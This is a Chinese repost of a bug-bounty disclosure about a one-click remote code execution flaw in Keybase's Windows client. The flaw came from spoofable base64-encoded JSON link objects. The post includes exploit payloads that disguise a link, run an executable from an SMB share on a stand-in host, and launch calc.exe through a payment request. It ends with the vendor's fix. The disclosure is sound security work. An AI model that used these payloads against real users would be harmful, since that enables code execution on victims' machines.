Bug Bounty:Keybase一键式RCE
2020-05-29 10:40:43 Author: xz.aliyun.com(查看原文) 阅读量:438 收藏

用户可以keybase客户端对话框中发送任意聊天链接。在Windows平台中,通过keybase客户端给受害者发送一个明显无害的链接,当单击该链接时,可以在受害者系统上执行任意命令。

keybase类似于slack,是一个用来聊天、文件共享的软件,但它的安全防护明显更胜一筹。 Keybase上的一切都被加密了,让用户在云上同步私人文件的时候可以放一百个心。
由于它的安全特性和NCC Group的安全审计结果,我成为了一名忠实的Keybase用户。

在我的一次聊天中,我突然发现了一个奇怪的keybase反应。我向@Th3Zer0@Paupu_95发送了一个电子邮件地址,我用两个反引号括起来了这个地址,

`
`[email protected]`

但我发送出去的时候,文本转换成了这个丫子

`$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$

习惯使用base64编码的人可能已经注意到字符串的“ey”开头,这说明这里存在一个base64编码的JSON字符串:

{"typ":5,"mailto":{"display":"[email protected]","url":"mailto:[email protected]","punycode":""}}.

作为一名安全行业从业人员,这种发现立即挑拨了我们的心弦,接下来的对话就是各种反引号和各种URI,我们发现http URI也是以同样的方式被窃听的。

如果我们可以创建以下格式的链接,会发生神马?

{"typ":4,"link":{"display":"http://shielder.it","url":"http://evil.it","punycode":""}}

我尝试了很多方法,但都失败了。
通过keybase GUI client发送$>kb$<base64_string>$<kb$
通过keybase CLI client发送$>kb$<base64_string>$<kb$
通过keybase mobile client发送$>kb$<base64_string>$<kb$

粘贴了多次payload后,keybase客户端显示,由于消息太长,此消息发送失败,请取消发送或重新编辑。

$>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly9zaGllbGRlci5pdCIsInVybCI6Imh0dHA6Ly9ldmlsLml0IiwicHVueWNvZGUiOiIifX0=$<kb$

字符串已经转化为http://shielder.it,点击URL会访问http://evil.it!!!!
在几秒钟的欣喜若狂之后,我意识到了令人不安的真相。


最妙的是,我还意识到,在windows客户端中,我可以通过将本地可执行文件的路径设置为url,或者将位于SMB服务器上的文件的路径设置为url来实现命令执行。

{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”\\\\1.3.3.7\\tmp\\a.exe”,”punycode”:””}}

payload在手,心不抖。我考虑keybase所有的功能,找到利用漏洞的绝佳位置。
这里就要用到了Lumens! Lumens是由Stella开发并完全集成在keybased客户端中的加密货币。用户可以轻松地发送/接收XLM,也可以在聊天中发送付款请求。
支付请求允许设置自定义消息,这就是漏洞利用的绝佳位置!

{“typ”:4,”link”:{“display”:”http://shielder.it”,”url”:”C:\\windows\\system32\\calc.exe”,”punycode”:””}}

一键式RCE get!只要用户点击我的链接,我就可以在他们的系统上执行任意命令。

与其他公司一样,keybase也有赏金计划,这是他们给我的回复


不幸的是有人在我之前报告了URL欺骗情况,但是这个人认为URL欺骗不能实现RCE。
然后我请求@maxtaco和@cjb与我分享keybase测试版,验证他们修复的版本是不是可以防止RCE。

具体修复措施

删除display字段
如果url”字段不是以http(s)://开头,自动加上http://

即使没有得到赏金,我也愿意与Keybase合作,他们在整个漏洞报告以及修复的过程表现的非常专业。

原文:https://www.shielder.it/blog/1-click-rce-on-keybase/

文章来源: http://xz.aliyun.com/t/7796
如有侵权请联系:admin#unsafe.sh